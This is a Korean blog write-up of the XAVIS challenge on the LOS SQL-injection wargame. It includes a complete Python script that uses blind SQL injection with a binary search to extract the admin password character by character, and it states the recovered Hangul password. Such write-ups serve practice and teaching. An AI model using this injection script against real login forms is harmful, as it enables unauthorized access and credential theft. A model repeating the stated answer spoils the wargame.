[LOS] XAVIS 문제풀이
:
LOS 사이트가 리뉴얼 되면서,
새로운 문제들이 많이 생겨 다시 한번 풀어보게 되었다.
https://los.rubiya.kr
해당 문제는 이전에도 존재하던 문제지만,
이전 사이트에 있는 문제는 출제자의 의도와 다르게 글자가 깨져서
아스키 코드 확장영역 문자로 대체하여 간단하게 FLAG 값을 구할 수 있었다.
https://aboutsc.tistory.com/87
ex) ascii (128 ~ 255)
앞서 말하게된 잘못된점을 보완하여
이번 새로 리뉴얼된 사이트에 기재된거 같다.
-
1) PW LENGTH 를 구해보니, 12글자였다. |
testxavis.py
import requests
def CaseEqual(j,value):
try:
query = url + "1' or id='admin' and ord(substr(pw,"+str(j)+",1))="+str(value)+"%23"
r = requests.post(query, cookies=session)
except:
print "[-]Error occur"
if "Hello admin" in r.text:
return True
else:
return False
def CaseBigger(j,value):
try:
query = url + "1' or id='admin' and ord(substr(pw,"+str(j)+",1))<"+str(value)+"%23"
r = requests.post(query, cookies=session)
except:
print "[-]Error occur"
if "Hello admin" in r.text:
return True
else:
return False
def SearchPW(j,start,end):
if start > end:
return "None"
mid = (start + end)/2
if CaseEqual(j,mid):
return hex(mid)
elif CaseBigger(j,mid):
end = mid - 1
else:
start = mid + 1
return SearchPW(j,start,end)
flag = ""
length = 0
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw="
session = dict(PHPSESSID="YOUR SESSION ID")
print "[+] ================================ Script Start"
print "[+] (1)Find password length"
for i in range(1, 21):
try:
query = url + "1' or id='admin' and length(pw)="+str(i)+"%23"
r = requests.post(query, cookies=session)
except:
print "[-]Error occur"
continue
if "Hello admin" in r.text:
length = i
break
print "[+] (1)Find password length : ",length
print "[+] (2)Find password"
for j in range(1,length+1):
flag += str(SearchPW(j,0,65535))[2:]
print "[+] ING - Found("+str(j)+") password : ", flag
print "[+] (2)Find password : ",flag
print "[+] ================================ Script End"
스크립트 실행 결과 16진수 형태의 pw 값을 확인할 수 있었다.
해당 pw는 3글자이고 나머지 값들은 널 값임을 확인할 수 있었다.
0xc6b0 0xc655 0xad73 (16진수 형태의 pw)
50864 50773 44403 (10진수 형태의 pw)
온라인 Converter를 이용하여 패스워드를 구해보려 했지만 이상한 값만 획득하기를 반복했고,
https://www.branah.com/unicode-converter
위의 사이트를 이용하여 10진수 형태의 pw를 Convert 해보니 한글 형태의 패스워드를 획득할 수 있었다.
pw = 우왕굳